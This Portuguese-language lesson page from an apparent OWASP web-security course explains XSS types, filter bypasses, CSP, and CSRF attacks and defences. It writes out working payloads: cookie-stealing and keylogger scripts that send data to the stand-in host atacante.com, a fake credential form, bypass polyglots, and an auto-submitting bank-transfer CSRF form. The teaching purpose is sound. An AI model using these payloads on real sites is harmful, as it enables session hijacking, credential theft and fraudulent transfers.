kb.erickguedes.com
OWASP: Segurança Web na Prática

XSS e CSRF

Aula 3 de 6

Cross-Site Scripting (XSS) — A03:2021

Tipos de XSS

TipoDescriçãoPersistência
ReflectedPayload na URL/request, refletido na respostaNão persiste
StoredPayload armazenado no servidor (BD, arquivo)Persiste
DOM-basedPayload executado no client-side via JavaScriptNão persiste
mXSSMutation XSS — parse do navegador modifica o HTMLVaria

Reflected XSS

GET /search?q=<script>alert('XSS')</script> HTTP/1.1

# Resposta (vulnerável):
# <div>Resultados para: <script>alert('XSS')</script></div>
URL payload:
  /search?q=%3Cscript%3Ealert(%27XSS%27)%3C/script%3E

Stored XSS

Payload armazenado em comentário, post, perfil de usuário.

1. Atacante posta comentário:
   <script>document.location='http://atacante.com/steal?c='+document.cookie</script>
2. Usuário visita página → script executa
3. Cookie do usuário enviado ao atacante

DOM-based XSS

// Código JavaScript vulnerável
var userInput = document.location.hash.substring(1);
document.getElementById("output").innerHTML = userInput;

// URL de ataque:
// http://alvo.com/page#<img src=x onerror=alert(1)>

mXSS (Mutation XSS)

O navegador "corrige" o HTML de forma diferente do esperado:

Payload: <noscript><p title="</noscript><img src=x onerror=alert(1)>">
Parsed pelo sanitizer: <noscript><p title="..."></noscript>
Parsed pelo browser: fecha noscript, executa <img>

Payloads Clássicos

// Alerta de teste
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<input autofocus onfocus=alert(1)>

// Roubo de cookie
<script>fetch('http://atacante.com/steal?c='+document.cookie)</script>
<img src=x onerror="this.src='http://atacante.com/steal?c='+document.cookie">

// Keylogger
<script>
document.onkeypress = function(e) {
    fetch('http://atacante.com/keylog?k='+e.key);
};
</script>

// Phishing (form falso)
<script>
document.body.innerHTML = '<form action="http://atacante.com/login">' +
    '<input name=user><input name=pass type=password>' +
    '<input type=submit></form>';
</script>

Bypass de Filtros

// Case variation
<ScRiPt>alert(1)</ScRiPt>

// Tag quebra
<<script>script>alert(1)</script>

// Event handler variation
<img src=x onerror=alert(1)>
<img src=x onError=alert(1)>
<img src=x ONERROR=alert(1)>

// Polyglot
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert(1) )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert(1)>

// UTF-8 bypass
<script>alert(1)</script>  →  <script>alert(1)</script>  (full-width chars)

CSP (Content Security Policy)

Headers

Content-Security-Policy: default-src 'self'
Content-Security-Policy: script-src 'self' https://trusted.com
Content-Security-Policy: script-src 'nonce-abc123'
Content-Security-Policy: script-src 'strict-dynamic'
Content-Security-Policy: img-src 'self' data:;
Content-Security-Policy: style-src 'self' 'unsafe-inline'

Nonce e strict-dynamic

<!-- CSP com nonce: apenas scripts com nonce correto executam -->
<script nonce="abc123">
  console.log('Este executa');
</script>
<script>
  console.log('Este não executa');  // Bloqueado pelo CSP
</script>

Report-Only

# Apenas reporta violações sem bloquear (teste)
Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report

CSRF (Cross-Site Request Forgery)

Como Funciona

1. Usuário autenticado no banco (cookie de sessão)
2. Usuário visita site malicioso
3. Site malicioso envia requisição POST para /transferir
4. Banco processa (cookie enviado automaticamente)
5. Transferência feita sem consentimento

Payload CSRF

<!-- Form auto-submit -->
<html>
<body>
<form action="https://banco.com/transferir" method="POST">
  <input type="hidden" name="conta" value="atacante">
  <input type="hidden" name="valor" value="1000">
</form>
<script>document.forms[0].submit()</script>
</body>
</html>

Prevenção

SameSite Cookies

Set-Cookie: session=abc123; SameSite=Lax
Set-Cookie: session=abc123; SameSite=Strict
Set-Cookie: session=abc123; SameSite=None; Secure   # Cross-site (requer Secure)
SameSiteDescrição
StrictCookie nunca enviado em requests cross-site
LaxCookie enviado em navegação top-level (GET)
NoneCookie enviado em todos contextos (requer Secure)

CSRF Tokens

<form action="/transferir" method="POST">
  <input type="hidden" name="csrf_token" value="a1b2c3d4e5f6...">
  <input name="conta">
  <input name="valor">
</form>
# Verificação no servidor
if request.form.get('csrf_token') != session['csrf_token']:
    return "CSRF token inválido", 403

Double-Submit Cookie

Token enviado em cookie + header/body.
Servidor verifica se os dois são iguais (não precisa armazenar).

1. Cookie: csrf=abc123
2. Body/Header: X-CSRF-Token: abc123
3. Servidor: cookie.csrf === body.csrf ?

Lab: Testando XSS e CSRF

# 1. Testar XSS refletido em input fields
<script>alert(1)</script>
<img src=x onerror=alert(1)>

# 2. Verificar CSP headers do alvo
curl -I https://alvo.com | findstr "Content-Security-Policy"

# 3. Testar CSRF (remover token e ver se aceita)
# Requisição original com token → 200
# Requisição sem token ou token inválido → 403 (protegido)
# Requisição sem token → 200 (vulnerável)

# 4. Verificar SameSite cookie
curl -I https://alvo.com | findstr "SameSite"

XSS permite sequestro de sessão, keylogging e phishing. CSP com nonce/strict-dynamic é a defesa moderna mais eficaz. CSRF é prevenido com SameSite=Strict/Lax + CSRF tokens. Nunca confie em inputs de usuário.